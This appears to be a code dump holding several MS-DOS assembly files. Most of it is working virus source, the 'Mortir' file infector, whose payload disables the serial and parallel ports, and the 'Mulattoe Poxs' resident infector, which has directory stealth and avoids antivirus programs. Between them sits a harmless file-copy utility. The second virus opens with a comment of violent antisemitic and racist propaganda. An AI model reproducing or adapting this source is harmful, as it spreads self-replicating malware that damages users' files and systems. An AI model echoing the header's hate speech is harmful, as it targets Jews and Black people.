mov di,100h
push di
movsw
movsb
call fix_regs ; fix up registers
ret ; and leave
exe_exit:
mov ax,ds ; fix up return address
add ax,10h
push ax
add ax,cs:[bp + exe_cs]
mov cs:[bp + return_cs],ax
mov ax,cs:[bp + exe_ip]
mov cs:[bp + return_ip],ax
pop ax
add ax,cs:[bp + exe_ss] ; restore stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call fix_regs ; fix up registers
sti
db 0EAh ; back to host program
return_ip dw 0
return_cs dw 0
exe_cs dw -16 ; orig CS:IP
exe_ip dw 103h
exe_sp dw -2 ; orig SS:SP
exe_ss dw -16
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
xor bp,bp
ret
; interrupt 21 handler
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; residency test
je ping_pong
cmp ah,11h ; directory stealth
je dir_stealth
cmp ah,12h
je dir_stealth
cmp ah,4Eh ; directory stealth
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh ; file open
je file_open
cmp ax,4B00h ; execute program
jne int_21_exit
jmp execute
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
ping_pong:
mov bx,PONG
iret
dir_stealth:
call int_21 ; get dir entry
test al,al
js dir_stealth_done
push ax bx es
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 17h] ; check for infection marker
and al,31
cmp al,STAMP
jne dir_fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Fh],0
dir_fixed:
pop es bx ax
dir_stealth_done:
iret
dir_stealth_2:
pushf
call dword ptr cs:[old_int_21]
jc dir_stealth_done_2
check_infect2:
push ax bx es
mov ah,2Fh
int 21h
mov ax,es:[bx + 16h]
and al,31 ; check timestamp
cmp al,STAMP
jne fixed_2
sub es:[bx + 1Ah],VIRUS_SIZE + 3
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es bx ax
clc ; clear carry
dir_stealth_done_2:
retf 2
file_open:
push ax cx di es
call get_extension
cmp [di],'OC' ; .COM file?
jne perhaps_exe ; perhaps .EXE then
cmp byte ptr [di + 2],'M'
jne not_prog
jmp a_program
perhaps_exe:
cmp [di],'XE' ; .EXE file?
jne not_prog
cmp byte ptr [di + 2],'E'
jne not_prog
a_program:
pop es di cx ax
jmp execute ; infect file
not_prog:
pop es di cx ax
jmp int_21_exit
execute:
push ax bx cx dx si di ds es
call get_extension ; check filename
cmp es:[di - 3],'DN' ; skip if COMMAND
jne open_file
jmp cant_open
open_file:
xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
mov es:[24h * 4],offset int_24
mov es:[24h * 4 + 2],cs
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
call int_21
jc cant_open
xchg bx,ax
push cs ; CS = DS
pop ds
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
mov dx,offset read_buffer
int 21h
cmp word ptr read_buffer,'ZM' ; .EXE?
je infect_exe ; yes, infect as .EXE
mov al,2 ; move to end of file
call move_file_ptr
cmp dx,65279 - (VIRUS_SIZE + 3)
ja dont_infect ; too big, don't infect
sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr read_buffer + 1
je dont_infect
add dx,VIRUS_SIZE + 3
mov word ptr new_jump + 1,dx
mov dx,offset read_buffer ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
mov dx,offset virus_begin
int 21h
xor al,al ; back to beginning of file
call move_file_ptr
mov dx,offset new_jump ; and write new jump
int 21h
fix_date_time:
pop dx cx
and cl,-32 ; add time stamp
or cl,STAMP
mov ax,5701h ; restore file date/time
int 21h
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit ; leave
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h
mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
infect_exe:
cmp word ptr read_buffer[26],0
jne dont_infect ; overlay, don't infect
cmp word ptr read_buffer[16],MARKER
je dont_infect ; infected already
les ax,dword ptr read_buffer[20]
mov exe_cs,es ; CS
mov exe_ip,ax ; IP
les ax,dword ptr read_buffer[14]
mov exe_ss,ax ; SS
mov exe_sp,es ; SP
mov word ptr read_buffer[16],MARKER
mov ax,4202h ; to end of file
cwd
xor cx,cx
int 21h
push ax dx ; save file size
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
add dx,100
mov word ptr read_buffer[14],dx
pop dx ax ; calculate prog size
add ax,VIRUS_SIZE + 3
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov ah,40h
mov cx,VIRUS_SIZE + 3
mov dx,offset virus_begin
int 21h
mov ax,4200h ; back to beginning
cwd
xor cx,cx
int 21h
mov ah,40h ; and fix up header
mov cx,28
mov dx,offset read_buffer
int 21h
jmp fix_date_time ; done
courtesy_of db '[BW]',0
signature db 'Mortir - le virus de francais',0
; **********************
; * Activation Routine * ; Disables LPT1-4 and COM1-4
; ********************** ; The actual viral payload!
activate:
main proc near
mov si,0001h ; First argument is 1
call disable_parallel
mov si,0002h ; First argument is 2
call disable_parallel
mov si,0003h ; First argument is 3
call disable_parallel
mov si,0004h ; First argument is 4
call disable_parallel
mov si,0001h ; First argument is 1
call disable_serial
mov si,0002h ; First argument is 2
call disable_serial
mov si,0003h ; First argument is 3
call disable_serial
mov si,0004h ; First argument is 4
call disable_serial
main endp
disable_parallel proc near
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 0407h],0 ; Zero LPT port address
pop es ; Restore ES
ret ; Return to caller
disable_parallel endp
disable_serial proc near
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 03FEh],0 ; Zero COM port address
pop es ; Restore ES
ret ; Return to caller
disable_serial endp
vcl_marker db "[VCL]",0 ; VCL creation marker
ret ; Return to Mortir code
; **************************
; * End of Activation Code *
; **************************
get_extension:
push ds ; find extension
pop es
mov di,dx
mov cx,64
mov al,'.'
repnz scasb
ret
int_24:
mov al,3 ; int 24 handler
iret
new_jump db 0E9h,0,0
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
+150
View File
@@ -0,0 +1,150 @@
CODE_SEG SEGMENT
ORG 100H ;ORG 100H for a .com file
ASSUME CS:CODE_SEG,DS:CODE_SEG
FIRST: JMP ENTRY ;Skip over data area
COPYRIGHT DB '(C) S. HOLZNER 1984'
TARGET_FCB DB 37 DUP(0) ;FCB at 6CH will be written over
END_FLAG DW 0 ;Flag set after everything read
FILE_SIZE_LO DW 0 ;Low word of file size, in bytes
FILE_SIZE_HI DW 0 ;High word of same
FILE_SIZE_K DW 0 ;Number of Clusters to write
DTA_OFFSET DW 0 ;Used for 1K increments into DTA
COPY_MSG_1 DB 13,10,'Copy $' ;Part 1 of the copy prompt
COPY_MSG_2 DB ' (Y/N)?$' ;And part 2
FULL_MSG DB 13,10,'Disk Full$' ;Trouble message
MOVE PROC NEAR ;The main (and only) procedure
ENTRY: MOV CX,32 ;Copy over 1st 32 bytes of default DTA
MOV SI,6CH ; from 6CH into Target_FCB area for
LEA DI,TARGET_FCB ; later use as new file name
REP MOVSB
MOV DX,5CH ;The source FCB
MOV AH,11H ;Check if there is match to source file
INT 21H
CMP AL,0FFH ;0FFH -> No match
JNE QUERY ;Match
JMP OUT ;No Match
QUERY: MOV AH,9H ;Print out prompt message
LEA DX,COPY_MSG_1
INT 21H
MOV CX,11 ;Print out 11 letters of found file name
MOV BX,81H ;Point to match in default DTA
MOV AH,2
QLOOP: MOV DL,[BX] ;Get letter of found file's name
INC BX ;Point to next letter
INT 21H
LOOP QLOOP ;Keep going until all 11 printed
MOV AH,9H ;Print out 2nd half of prompt message
LEA DX,COPY_MSG_2
INT 21H
MOV AH,1 ;Get a 1 character response
INT 21H
CMP AL,'Y' ;Was it a 'Y'?
JE DO_COPY ;Yes, copy the file
CMP AL,'y' ;No...perhaps a 'y'?
JE DO_COPY ;Yes, copy the file
JMP NEXT ;Get next match (if none, leave)
DO_COPY:MOV CX,37 ;Using given target file as a template,
LEA SI,TARGET_FCB ; load its 37 characters into the FCB
MOV DI,0C0H ; for use as real target FCB, checking
CMP BYTE PTR [SI+1],' ' ; for wildcards. First, was DRIVE: given
JNE NLOOP ; as target? No, check wildcards.
PUSH DI ;Yes, fill Target_FCB with wildcard ?'s
PUSH CX ; so found filename will be used
LEA DI,TARGET_FCB
INC DI
MOV CX,11 ;Put in 11 ?'s
MOV AL,'?'
REP STOSB ;Do the fill
POP CX ;Restore counter and dest. pointer
POP DI
NLOOP: MOV BX,0 ;Move given target name into real used
CMP BYTE PTR [SI],'?' ; target FCB at 0C0H. If a wildcard is
JNE CHAR_OK ; found in given filename use corres-
MOV BX,80H ; ponding character in found filename
SUB BX,OFFSET TARGET_FCB ;Wildcard found, adjust source (SI) to
ADD SI,BX ; point to the found filename
CHAR_OK:MOVS [DI],[SI]
SUB SI,BX ;Restore SI if necessary
LOOP NLOOP ;Loop back until for all 11 name char.s
MOV DX,80H ;Target FCB now at 0C0H, source at 80H
MOV AH,0FH ;Use DOS service 15 to open source
INT 21H ;Open source FCB
MOV DX,0C0H ;Use DOS service 12 to create target
MOV AH,16H
INT 21H ;Create target FCB (or if the file
AND END_FLAG,0 ; already exists, zero it and refill it)
MOV BX,80H + 14
MOV WORD PTR [BX],8000H ;Set record size for source (32K)
MOV BX,80H + 16 ;Get file size from opened source FCB
MOV AX,[BX]
MOV FILE_SIZE_LO,AX ;Store low word of size in FILE_SIZE_LO
ADD BX,2 ;Point to high word
MOV DX,[BX]
MOV FILE_SIZE_HI,DX ;Store high word of size in FILE_SIZE_HI
MOV CX,1024 ;Div DX:AX (High:Low of size) by 1024
DIV CX
MOV FILE_SIZE_K,AX ;Get file size in rounded-up K (1024)
TEST DX,0FFFFH ;Was it an even K file:Mod(size,1024)=0?
JZ ROUND ;Yes, don't add cluster for file remnant
INC FILE_SIZE_K ;No, add 1 more cluster for remainder
ROUND: MOV BX,0C0H + 14
MOV WORD PTR [BX],400H ;Set record size for target (1K)
READ: LEA DX,DATA_POINT ;Set up the 32K DTA we'll use
MOV AH,1AH ; at the end of this program
INT 21H
MOV DX,80H ;Point to source FCB to prepare for read
MOV AH,14H
INT 21H ;Do the read of 32K bytes
CMP AL,0 ;AL = 0 if end of file not yet reached
JLE READ_OK
OR END_FLAG,1 ;Have read in the whole file, DTA is
READ_OK:MOV CX,20H ; stuffed with zeroes after end of file
LEA DX,DATA_POINT ;Reset our offset into 32K DTA to the
MOV DTA_OFFSET,DX ; start
WLOOP: MOV DX,0C0H ;Point to target FCB, prepare for write
MOV AH,15H
INT 21H ;Do the write 1K at a time
CMP AL,0 ;Was the write a success?
JE COPY_OK ;Yes, check if done writing
LEA DX,FULL_MSG ;No, assume the disk was full and say so
MOV AH,9H ;Print error string
INT 21H
JMP OUT ;Exit
COPY_OK:DEC FILE_SIZE_K ;Decrement number of clusters to write
JZ FINISH ;Done?
ADD DTA_OFFSET,400H ;No, point to next 1K chunk of DTA
MOV DX,DTA_OFFSET
MOV AH,1AH ;Set DTA to match
INT 21H
LOOP WLOOP ;Repeat until 32K written or end of file
TEST END_FLAG,1 ;Have we read in the end of file?
JZ READ ;No, get next 32K block from source
FINISH: MOV AX,FILE_SIZE_LO ;Now adjust written file's size
MOV BX,0C0H + 16 ;Point to low word of size
MOV WORD PTR [BX],AX ;And set it to the correct value
ADD BX,2 ;Point to high word of size
MOV AX,FILE_SIZE_HI ;And set it too
MOV WORD PTR [BX],AX
MOV AH,10H ;Request DOS service 16, close files
MOV DX,0C0H ;Point to target file's FCB
INT 21H ;Close target with correct size
MOV DX,80H ;Point to source file's FCB
INT 21H ;Close source
NEXT: MOV DX,80H ;Start looking for the next match
MOV AH,1AH ;First, reset DTA to 80H for found file's FCB
INT 21H
MOV AH,12H ;Now search for next match-service 18
MOV DX,5CH ;Use given filename to match to
INT 21H
CMP AL,0 ;Match found?
JNE OUT ;No, exit.
JMP QUERY ;Yes, ask if it should be copied
OUT: RET
MOVE ENDP
DATA_POINT: ;The 32K DTA starts here
CODE_SEG ENDS
END FIRST ;'END FIRST' so entry point set to FIRST

+841
View File
@@ -0,0 +1,841 @@
; This Virus was hacked In Israel, to promote the Mongrelization of the
; White race in general, we the jews of Israel deem it antagonistic to Jewish
; Intrests that Whites are not all Mulattoes by now, we wish the further
; erode the barriers of racial mixing of Whites and Blacks, we believe
; that Mixing Whites with Blacks is a Better course for the FINAL SOLUTION
; of the White problem on this earth, we Jews deem it G-Ds bidding and choice
; that We rule over the earth and its people as WE see fit, not how the goyim
; See fit.. And for the NEW WORLD ORDER which was pledged to us! Oct. 6, 1940
; New York Times and Look Magazine I predict, Jan, 16, 1962
;
; We have desided with the grace of G-D to make a New Variant of this Virus
; The B'nai B'rith has received it's orders, the ADL is now indoctrinated
; to the will of the Israeli government, Prepare for Extinction through
; Miscgenation you white scum goyim!
;
; We were very estatic over the release of our first Miscgenating virus
; we forgot to check our holy talmudic spelling
;
; It's the Holy Talmudic Mulattoe Poxs Virus! Mulattoes to the Western world!
; -=*=Mulattoe Poxs V2.1=*=-
virus_size equ last - init_virus ;Virus size
mut1 equ 3
mut2 equ 1
mut3 equ 103h ;Offset location
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h ;COM file!
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-------------------------------------------------------------------------
init_virus: call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,83h ;Set our position
sub bp,83h
push ax ;Save all the regesters
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,4000h ;Are we resident Already?
add ax,9cbah
int 21h ;***McAfee Scan String!
cmp bx,0dcbah ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3521h ;Sometimes tend to inter-
int 21h ;cept this Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1 ;Get TOM size
mov dx,virus_size ;Virus size in DX
mov cl,4 ;Shift 4 bits
shr dx,cl ;Fast way to divide by 16
add dx,4 ;add 1 more para segment
mov cx,es ;current MCB segment
sub bx,dx ;sub virus_size from TOM
inc cx ;put back right location
mov es,cx
mov ah,4ah ;Set_block
int 21h
jc exit_com
mov ah,48h ;now allocate it
dec dx ;number of para
mov bx,dx ;
int 21h
jc exit_com
dec ax ;get MCB
mov es,ax
mov cx,8h ;Made DOS the owner of MCB
mov es:mut2,cx ;put it...
sub ax,0fh ;get TOM
mov di,mut3 ;beginnig of our loc in mem
mov es,ax ;
; mov si,bp ;delta pointer
; add si,offset init_virus ;where to start
lea si, [bp+offset init_virus]
mov cx,virus_size
cld
repne movsb ;move us
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
exit_com: push cs
pop ds
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file
; mov bx,offset buffer ;Its a COM file restore
; add bx,bp ;First three Bytes...
lea bx, [bp+offset buffer]
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3b
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
; mov ax,100h ;Jump Back to Beginning
mov ax,0fEffh
not ax
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
command db "C:\COMMAND.COM",0
exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc
mov dx,cs ;
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;add it to our segs
add dx,word ptr cs:[exe_ss][bp]
mov bx,word ptr cs:[exe_ip][bp]
mov word ptr cs:[fuck_yeah][bp],bx
mov word ptr cs:[fuck_yeah+2][bp],ax
mov ax,word ptr cs:[exe_ip][bp]
mov word ptr cs:[Rock_fix1][bp],dx
mov word ptr cs:[Rock_fix2][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;nothing but MOV AX,XXXX
Rock_Fix1:
dw 0
cli
mov ss,ax
db 0BCh ;nothing but MOV SP,XXXX
Rock_Fix2:
dw 0
sti
db 0EAh ;nothing but JMP XXXX:XXXX
Fuck_yeah:
dd 0
int21 dd ? ;Our Old Int21
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-------------------------------------------------------------------------
old_dir: call calldos21 ;get FCB
test al,al ;error?
jnz old_out ;nope
push ax
push bx
push es
mov ah,51h ;get PSP
int 21h
mov es,bx ;
cmp bx,es:[16h] ;
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al ;Extended FCB?
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh
cmp al,1eh
jnz not_infected
and byte ptr es:[bx+17h],0e0h ;fix secs
sub word ptr es:[bx+1dh],virus_size
sbb word ptr es:[bx+1fh],0
not_infected: pop es
pop bx
pop ax
old_out: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler: cmp ah,11h
je old_dir
cmp ah,12h
je old_dir
cmp ax,4b00h ;File executed
je dis_infect
cmp ah,3dh
je check_file
cmp ah,3eh
je check_file2
; cmp ax,0dcbah ;Virus testing
sub ax,9cbah
cmp ax,4000h
add ax,9cbah
jne int21call
sub bx,9cbah
mov bx,4000h
add bx,9cbah
int21call: jmp dword ptr cs:[int21] ;Split...
check_file: jmp opening_file ;Like a Charm
check_file2: jmp closing_file
dis_infect: call disinfect ;EXE & COM okay
dont_disinfect: push dx
pushf
push cs
call int21call
pop dx
execute: push ax
push bx
push cx
push dx
push ds
push ax
push bx
push cx
push dx
push ds
push bp
push cs
pop ds
mov dx,offset command
mov bp,0dcbah
jmp command1
command_ret: pop bp
pop ds
pop dx
pop cx
pop bx
pop ax
call check_4_av
jc exit1
command1: mov ax,4300h ;Get file Attribs
call calldos21
jc exit1
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
call calldos21
jc exit
open_file: mov ax,3D02h
call calldos21
exit1: jc exit
xchg bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
Call calldos21
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
xor al,cl ;Is it 60 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,1Bh ;Read first 1B
mov dx,offset ds:[buffer] ;into our Buffer
call calldos21
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer
xor cx,cx ;to EOF File
xor dx,dx
call calldos21
jc exit_now ;Error Split
cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE?
je exe_infect ;Infect EXE file
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr ds:[jump_address+1],cx
call infect_me ;Infect!
jc exit
mov ah,40h ;Write back the
mov dx,offset jump_address
mov cx,3h
call calldos21
exit_now:
mov cx,word ptr ds:[old_time] ;Restore old time
mov dx,word ptr ds:[old_date] ;Restore Old date
mov ax,5701h
call calldos21
mov ah,3Eh
call calldos21
exit: cmp bp,0dcbah
je command2
pop ds
pop dx
pop cx
pop bx
pop ax
iret
command2: jmp command_ret
exe_infect: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc exit
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
xchg bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
exit_exe: jmp exit_now
rocko endp
vir_cs dw 0
exe_ip dw 0
exe_cs dw 0
exe_sp dw 0
exe_ss dw 0
exe_sz dw 0
exe_rm dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Opening File handle AX=3D
;-------------------------------------------------------------------------
opening_file: call check_extension
jnc open_fuck2
call check_exten_exe
jnc open_fuck2
jmp dword ptr cs:[int21]
open_fuck2: push ax
mov ax,3d02h
call calldos21
jnc open_fuck1
pop ax
iret
open_fuck1: push bx
push cx
push dx
push ds
xchg bx,ax
mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jnz opening_exit3
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes Pointer to EOF
xor cx,cx
xor dx,dx
call calldos21
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh ;Get first 3 Bytes
sbb cx,0
mov ax,4200h
call calldos21
push cs
pop ds
mov ah,3fh ;Read them into Buffer
mov cx,1Bh
mov dx,offset buffer
call calldos21
xor cx,cx ;Goto Beginning of File
xor dx,dx
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je open_exe_jmp
mov cx,3h
open_exe_jmp: call calldos21
pop dx ;EOF - Virus_Size
pop cx ;to get ORIGINAL File size
sub dx,virus_size
sbb cx,0
mov ax,4200h
call calldos21
mov ah,40h ;Fix Bytes
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
int 21h
mov ah,3eh ;Close File
call calldos21
opening_exit3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Closing File Handle INFECT it!
;-------------------------------------------------------------------------
closing_file: cmp bx,0h
je closing_bye
cmp bx,5h
ja close_cont
closing_bye: jmp dword ptr cs:[int21]
close_cont: push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2fh
mov ax,1216h
mov bl,es:[di]
int 2fh
pop bx
add di,0011h
mov byte ptr es:[di-0fh],02h
add di,0017h
cmp word ptr es:[di],'OC'
jne closing_next_try
cmp byte ptr es:[di+2h],'M'
jne pre_exit
jmp closing_cunt3
closing_next_try:
cmp word ptr es:[di],'XE'
jne pre_exit
cmp byte ptr es:[di+2h],'E'
jne pre_exit
closing_cunt: cmp word ptr es:[di-8],'CS'
jnz closing_cunt1 ;SCAN
cmp word ptr es:[di-6],'NA'
jz pre_exit
closing_cunt1: cmp word ptr es:[di-8],'-F'
jnz closing_cunt2 ;F-PROT
cmp word ptr es:[di-6],'RP'
jz pre_exit
closing_cunt2: cmp word ptr es:[di-8],'LC'
jnz closing_cunt3
cmp word ptr es:[di-6],'AE' ;CLEAN
jnz closing_cunt3
pre_exit: jmp closing_nogood
closing_cunt3: mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jz closing_nogood
push cs
pop ds
mov word ptr ds:[old_time],cx
mov word ptr ds:[old_date],dx
mov ax,4200h
xor cx,cx
xor dx,dx
call calldos21
mov ah,3fh
mov cx,1Bh
mov dx,offset buffer
call calldos21
jc closing_no_good
mov ax,4202h
xor cx,cx
xor dx,dx
call calldos21
jc closing_no_good
cmp word ptr ds:[buffer],5A4Dh
je closing_exe
mov cx,ax
sub cx,3h
mov word ptr ds:[jump_address+1],cx
call infect_me
jc closing_no_good
mov ah,40h
mov dx,offset jump_address
mov cx,3h
call calldos21
closing_no_good:
mov cx,word ptr ds:[old_time]
mov dx,word ptr ds:[old_date]
mov ax,5701h
call calldos21
closing_nogood: pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
closing_exe: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc closing_no_good
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
xchg bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz close_split
inc dx
close_split: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
closing_over: jmp closing_no_good
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc
mov ah,40h
mov dx,offset init_virus
mov cx,virus_size
call calldos21
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to
xor dx,dx ;top of file
call calldos21
jc exit_error ;Split Dude...
clc ;Clear carry flag
ret
exit_error:
stc ;Set carry flag
ret
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; DisInfection Routine for 4B
;-------------------------------------------------------------------------
Disinfect PROC
push ax
push bx ;Save them
push cx
push dx
push ds
mov ax,4300h ;Get file Attribs
call calldos21
test cl,1h ;Test for Normal Attribs
jz okay_dis ;Yes, File can be opened
and cl,0feh ;No, Set them to Normal
mov ax,4301h ;Save attribs to file
call calldos21
jc half_way
okay_dis: mov ax,3d02h ;File now can be opened
call calldos21 ;Safely
jc half_way
xchg bx,ax ;Put File Handle in BX
mov ax,5700h ;Get File Time & Date
call calldos21
mov al,cl ;Check to see if infected
or cl,1fh ;Unmask Seconds
dec cx ;Test to see if 60 seconds
xor al,cl
jnz half_way ;No, Quit File AIN'T
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes, file is infected
xor cx,cx ;Goto the End of File
xor dx,dx
call calldos21
push cs
pop ds
mov cx,dx ;Save Location into
mov dx,ax ;CX:DX
push cx ;Push them for later use
push dx
sub dx,1Bh ;Subtract file 1Bh from the
sbb cx,0 ;End so you will find the
mov ax,4200h ;Original EXE header or
call calldos21 ;First 3 bytes for COMs
mov ah,3fh ;Read them into Buffer
mov cx,1Bh ;Read all of the 1B bytes
mov dx,offset buffer ;Put them into our buffer
call calldos21
jmp half
half_way: jmp end_dis
half: xor cx,cx ;
xor dx,dx ;Goto the BEGINNING of file
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer ;from buffer to COM
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je dis_exe_jmp
mov cx,3h
dis_exe_jmp: call calldos21
pop dx ;Restore CX:DX which they
pop cx ;to the End of FILE
sub dx,virus_size ;Remove Virus From the END
